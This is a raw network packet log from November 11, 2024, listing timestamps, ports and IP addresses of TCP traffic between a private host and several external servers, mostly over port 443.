Nov 11, 2024 21:59:05.492918015 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.494570017 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.494748116 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.494760990 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.495224953 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.495404959 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.495413065 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.495748043 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.495809078 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.496057987 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.496117115 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.496129990 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.496522903 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.496588945 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.497332096 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.497391939 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.497493982 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.497499943 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.535335064 CET	443	49710	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.535727024 CET	49710	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.535734892 CET	443	49710	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.535773039 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.535773039 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.535793066 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.535808086 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.551575899 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.582596064 CET	49710	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.582631111 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.582653046 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.684511900 CET	443	49710	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.690289974 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695610046 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695652962 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695691109 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695704937 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.695722103 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695760012 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.695904970 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.695965052 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.696271896 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.696279049 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.701179028 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.701206923 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.701255083 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.701268911 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.701328039 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.704978943 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705033064 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705068111 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705099106 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705125093 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.705137014 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705147982 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.705667973 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.705734968 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.705741882 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.707063913 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.710587025 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.710608006 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.710634947 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.710643053 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.710665941 CET	443	49709	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.710709095 CET	49709	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.728241920 CET	49710	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.728251934 CET	443	49710	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.730621099 CET	49710	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.730669022 CET	443	49710	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.730734110 CET	49710	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.743568897 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.743575096 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.744954109 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.744988918 CET	443	49708	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.745085001 CET	49708	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.758523941 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.758528948 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.786829948 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.786938906 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.786971092 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.786983013 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.786992073 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.787024021 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.787085056 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.787141085 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.787146091 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.789504051 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.789649010 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.789655924 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.795581102 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.795629978 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.795638084 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.801387072 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.801438093 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.801444054 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.807111979 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.807163954 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.807171106 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.812433004 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.812553883 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.812561989 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.818248987 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.818782091 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.818790913 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.839068890 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.839104891 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.839127064 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.839142084 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.839997053 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.867690086 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.867752075 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.867782116 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.867803097 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.867809057 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.867851019 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.867906094 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868235111 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868271112 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868307114 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.868315935 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868422985 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.868801117 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868868113 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.868932962 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.868938923 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.869865894 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.869923115 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.869927883 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.875746012 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.876020908 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.876028061 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.880409956 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.880454063 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.880460024 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.881711006 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.881819010 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.881824970 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.885735989 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.885817051 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.885823965 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.889743090 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.889784098 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.889794111 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.893850088 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.893922091 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:05.893928051 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:05.943892956 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224555016 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224621058 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224649906 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224679947 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224700928 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224708080 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224736929 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224760056 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224771023 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224792004 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224801064 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224833965 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224867105 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224869967 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224879980 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224905968 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.224950075 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224981070 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.224997997 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225003958 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225028038 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225053072 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225058079 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225064993 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225102901 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225109100 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225148916 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225157976 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225162983 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225198984 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225205898 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225236893 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225270987 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225275993 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225281954 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225331068 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225332975 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225349903 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225389957 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225399971 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225405931 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225447893 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225447893 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225459099 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.225493908 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.225985050 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230001926 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230031013 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230057001 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230082989 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230101109 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230109930 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230138063 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230139017 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230166912 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230174065 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230209112 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230676889 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230761051 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230798006 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230806112 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230812073 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.230846882 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.230853081 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.231590986 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.231621027 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.231637001 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.231645107 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.231754065 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:06.231794119 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.231967926 CET	49711	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:06.231981039 CET	443	49711	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:07.456871033 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:07.456911087 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:07.456995964 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:07.457156897 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:07.457170963 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.046868086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:08.046922922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:08.048619032 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.048800945 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.048829079 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.049891949 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.049948931 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.050791979 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.050864935 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.050950050 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.050961018 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.114371061 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.220441103 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220475912 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220504999 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220534086 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220570087 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220607996 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.220613956 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220647097 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.220949888 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.225837946 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.225898981 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.225929976 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.270581007 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.270628929 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.301373005 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.301415920 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.301445007 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.301659107 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.301707029 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.301723957 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.303196907 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.303234100 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.303253889 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.303275108 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.303328037 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.309241056 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.314909935 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.314933062 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.315001011 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.315042973 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.315184116 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.321141958 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.326481104 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.326514959 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.326565027 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.326585054 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.326641083 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.333043098 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.337774038 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.337882996 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.337893963 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.355178118 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.355451107 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.355489016 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382201910 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382236004 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382273912 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382406950 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.382406950 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.382447958 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382762909 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382800102 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382810116 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.382818937 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.382859945 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.382867098 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384226084 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384273052 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.384279966 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384418964 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384457111 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384469032 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.384475946 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.384514093 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.387119055 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.391040087 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.391084909 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.391092062 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.395376921 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.395452976 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.395461082 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.399471998 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.399503946 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.399528027 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.399537086 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.399581909 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.403259993 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.407444954 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.407480001 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.407521009 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.407531977 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.407577038 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.411360025 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.418684006 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.418715000 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.418756962 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.418781996 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.418828964 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.419888020 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.423398972 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.423425913 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.423443079 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.423453093 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.423499107 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.427757025 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.432559013 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.432636023 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.432660103 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.436161995 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.436196089 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.436218977 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.436228991 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.436276913 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.439696074 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.447989941 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:08.448023081 CET	443	49722	142.250.185.110	192.168.2.5
